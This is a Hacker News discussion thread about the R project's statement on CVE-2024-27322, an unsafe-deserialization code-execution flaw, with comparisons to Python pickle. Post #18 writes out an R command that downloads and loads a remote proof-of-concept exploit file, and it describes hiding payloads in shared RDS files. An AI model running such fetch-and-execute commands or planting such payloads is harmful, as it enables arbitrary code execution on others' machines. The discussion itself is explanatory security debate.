Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Statement on CVE-2024-27322

blog.r-project.org

Post reply on HN
Print view View original

11–20 of 51 posts

Re: Statement on CVE-2024-27322

#11

Post by Pinus »

rfoo wrote: post #9
cmeacham98 wrote: post #8

Earlier quoted context omitted.

This is uncharitable. From what I can tell, these RDS files are a common way of sharing data among R users. I would be relatively surprised if reading someone else's dataset was able to execute arbitrary code. I think this is more like if reading a CSV via numpy could execute code.

.pkl files were, are, and will still be a a common way of sharing data among Python users. Despite it is known to be unsafe since forever and nobody claimed a CVE for this fact. A few years back I have heard from a lot of people working in ML communities that they are surprised that `numpy.load` is able to execute arbitrary code.

CVE-2019-6446 seems to be in the right ballpark.

Re: Statement on CVE-2024-27322

#12

Post by fanf2 »

rfoo wrote: post #9
cmeacham98 wrote: post #8

Earlier quoted context omitted.

This is uncharitable. From what I can tell, these RDS files are a common way of sharing data among R users. I would be relatively surprised if reading someone else's dataset was able to execute arbitrary code. I think this is more like if reading a CSV via numpy could execute code.

.pkl files were, are, and will still be a a common way of sharing data among Python users. Despite it is known to be unsafe since forever and nobody claimed a CVE for this fact. A few years back I have heard from a lot of people working in ML communities that they are surprised that `numpy.load` is able to execute arbitrary code.

There are lots of Python pickle remote code execution CVEs https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=pickle

Re: Statement on CVE-2024-27322

#13

Post by VWWHFSfQ »

rfoo wrote: post #9
cmeacham98 wrote: post #8

Earlier quoted context omitted.

This is uncharitable. From what I can tell, these RDS files are a common way of sharing data among R users. I would be relatively surprised if reading someone else's dataset was able to execute arbitrary code. I think this is more like if reading a CSV via numpy could execute code.

.pkl files were, are, and will still be a a common way of sharing data among Python users. Despite it is known to be unsafe since forever and nobody claimed a CVE for this fact. A few years back I have heard from a lot of people working in ML communities that they are surprised that `numpy.load` is able to execute arbitrary code.

> Despite it is known to be unsafe since forever and nobody claimed a CVE for this fact.

There have been dozens, if not _hundreds_, of CVEs filed on issues related to pickle and RCE.

Here is a small sample:

https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=pickle

Re: Statement on CVE-2024-27322

#14

Post by fanf2 »

rfoo wrote: post #2

tl;dr R has its own pickle.load and someone decided to milk a CVE [1] out of this fact. [1] and a blog post for bragging, thankfully they didn't do a name and a logo.

I think a good response from the R authors should:

• Make clear the bug is due to unsafe deserialization (not serialization as their statement says). This is important because unsafe deserialization is a major source of remote code execution vulnerabilities.

• Update the documentation to make it clear that R’s serialization and deserialization functions are not safe to use for sharing data across the network. Serialized objects should be treated as code, not data.

Re: Statement on CVE-2024-27322

#15

Post by lyu07282 »

rfoo wrote: post #9
cmeacham98 wrote: post #8

Earlier quoted context omitted.

This is uncharitable. From what I can tell, these RDS files are a common way of sharing data among R users. I would be relatively surprised if reading someone else's dataset was able to execute arbitrary code. I think this is more like if reading a CSV via numpy could execute code.

.pkl files were, are, and will still be a a common way of sharing data among Python users. Despite it is known to be unsafe since forever and nobody claimed a CVE for this fact. A few years back I have heard from a lot of people working in ML communities that they are surprised that `numpy.load` is able to execute arbitrary code.

Yes but the fact that R was apparently able to fix the issue at all is a bit strange then. You can't "fix" pickle code execution.

Re: Statement on CVE-2024-27322

#16

Post by notachatbot1234 »

VWWHFSfQ wrote: post #13
rfoo wrote: post #9

Earlier quoted context omitted.

.pkl files were, are, and will still be a a common way of sharing data among Python users. Despite it is known to be unsafe since forever and nobody claimed a CVE for this fact. A few years back I have heard from a lot of people working in ML communities that they are surprised that `numpy.load` is able to execute arbitrary code.

> Despite it is known to be unsafe since forever and nobody claimed a CVE for this fact. There have been dozens, if not _hundreds_, of CVEs filed on issues related to pickle and RCE. Here is a small sample: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=pickle

Those are CVEs on other software that use pickle in insecure ways. Not on pickle itself.

Re: Statement on CVE-2024-27322

#17

Post by lyu07282 »

VWWHFSfQ wrote: post #13
rfoo wrote: post #9

Earlier quoted context omitted.

.pkl files were, are, and will still be a a common way of sharing data among Python users. Despite it is known to be unsafe since forever and nobody claimed a CVE for this fact. A few years back I have heard from a lot of people working in ML communities that they are surprised that `numpy.load` is able to execute arbitrary code.

> Despite it is known to be unsafe since forever and nobody claimed a CVE for this fact. There have been dozens, if not _hundreds_, of CVEs filed on issues related to pickle and RCE. Here is a small sample: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=pickle

In applications using pickle on untrusted data, that's a big distinction. There are a huge number of similar java and c# object serializationg bugs as well.

Re: Statement on CVE-2024-27322

#18

Post by nomilk »

> We reject the idea that there are wider security implications associated with promises or serialization, both of which are core features of the language.

Isn't this demonstrably false? I.e. run this [1]

load(url("https://github.com/hrbrmstr/rdaradar/raw/main/exploit.rda"))

and it opens the calculator application on windows/macOS (or echo's 'pwnd' on linux).

When someone can easily cause their hidden system code to run on my computer, that's a pretty serious vulnerability. read.csv() and fromJSON() do not allow this.

I happen to have packages on CRAN that readRDS() from AWS S3. So if I happen to be evil and make some trivial alterations to those RDS files to contain a hidden payload, well, it's child's play. That does not seem sane to me.

FWIW, my recommendation is to create a function like readRDS() that only reads data (and does not allow any extra code to be run), then use that in place of the traditional readRDS() on CRAN. Then if someone did craft a malicious payload, it wouldn't matter. The (harder) alternative would be to disallow any functions that have this remote code execution 'feature', e.g. only read.csv() or fromJSON() and similar.

[1] https://rud.is/b/2024/05/03/cve-2024-27322-should-never-have...

Re: Statement on CVE-2024-27322

#19

Post by greentxt »

cmeacham98 wrote: post #8
rfoo wrote: post #2

tl;dr R has its own pickle.load and someone decided to milk a CVE [1] out of this fact. [1] and a blog post for bragging, thankfully they didn't do a name and a logo.

This is uncharitable. From what I can tell, these RDS files are a common way of sharing data among R users. I would be relatively surprised if reading someone else's dataset was able to execute arbitrary code. I think this is more like if reading a CSV via numpy could execute code.

CSV is CSV. A serialized object is a serialized object. The main concern they cite, are supply chain attacks. So it’s like saying loading a package can… load a package. Supply chain attacks will always be a thing. I’m grateful for the work of the researchers in question but don’t feel this is much of a blemish when it comes to R itself being insecure.

Re: Statement on CVE-2024-27322

#20

Post by dfox »

dartos wrote: post #3

Have there been more CVEs lately, or did the whole Jia Tian thing make them rank higher on HN?

There have been more CVEs for the last 5 or so years. The reason is that "number of CVEs" is used in InfoSec community as kind of performance metric, so the "researchers" are incentivized to report total non-sense as security vulnerabilities. Second reason is that the whole "InfoSec" thing is viewed as an career choice where there is shitload of money to be made, which caused many people with questionable skills and ethics to become "security researchers".
Post reply on HN